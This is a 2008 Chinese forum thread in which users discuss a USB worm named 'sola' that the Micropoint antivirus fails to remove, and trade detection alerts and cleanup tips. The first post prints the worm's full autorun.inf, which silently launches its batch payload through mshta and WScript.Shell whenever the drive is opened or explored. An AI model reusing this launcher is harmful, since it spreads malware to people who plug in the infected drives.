过微点，删不掉的病毒sola,在微点官方论坛没人理！

bassliu

很简单的一个病毒，也许是针对微点的，dr.web的cureit.exe能查出来，但是杀完了又有，微点一点反应都没有。汗！
通过Autorun.inf传播，还有一个叫做sola的文件夹，里面有几个文件！

SOLA_1.0
[autorun]
shell\打开(&O)\command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
shell=打开(&O)
shell\open=复制磁盘(&C)
shell\open\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"
shell\open\Default=1
shell\explore=资源管理器(&X)
shell\explore\Command=mshta "javascript:new ActiveXObject('WScript.Shell').Run('SOLA\\SOLA.BAT -USB',0);window.close()"

taiw_1144

这个微点会报了
发现未知木马，是否删除？
程序:
1) C:\WINDOWS\FONTS\SOLASETUP\\SOLA.BAT -USB',0);WINDOW.CLOSE()"
2) C:\WINDOWS\FONTS\SOLASETUP\AUTORUN.INF
3) F:\AUTORUN.INF
是否删除木马程序及其衍生物?

发现未知木马，是否删除？
程序:
1) C:\WINDOWS\FONTS\SOLASETUP\\SOLA.BAT -USB',0);WINDOW.CLOSE()"
2) C:\WINDOWS\FONTS\SOLASETUP\AUTORUN.INF
3) H:\AUTORUN.INF

是否删除木马程序及其衍生物?

发现未知木马，是否删除？
程序:
1) C:\WINDOWS\FONTS\SOLASETUP\\SOLA.BAT -USB',0);WINDOW.CLOSE()"
2) C:\WINDOWS\FONTS\SOLASETUP\AUTORUN.INF
3) H:\AUTORUN.INF

是否删除木马程序及其衍生物?

[ 本帖最后由 taiw_1144 于 2008-7-27 11:02 编辑 ]

bassliu

我的没有提示，我是在中了以后安装了微点

taiw_1144

将其释放到U盘，把U盘停掉后再插入，然后双击U盘就会报了

polly5771

已中毒后再用微点，效果不太好。

另外，本区禁止发布样本

taiw_1144

不放心可在虚拟机中试吧

taiw_1144

原帖由 polly5771 于 2008-7-27 11:05 发表
已中毒后再用微点，效果不太好。

另外，本区禁止发布样本

这个不一定了，我周围电脑中了病毒，一般安装微点后都能搞定，当然有没有残留我就没去追究那么多吧，反正电脑能正常运行，如果他不放心就叫他安装卡巴全盘扫！！！

bassliu

谢谢各位了，在问题的问题是哪台中毒机子没有上网，病毒和微点还是相安无事

bassliu

刚刚在这台能上网的机子上试了一下，有两个提示，删了，但优盘上的sola文件夹原封未动

taiw_1144

可以用windows清理助手配合着微点使用吧，另外微点提供了大量的系统信息，个人觉得系统自启动信息、系统综合信息容易使用，但微点不支持删除已知的启动信息，这点和微点不能把已知病毒添加为可信程序一样，有点不爽！！！

[ 本帖最后由 taiw_1144 于 2008-7-27 11:21 编辑 ]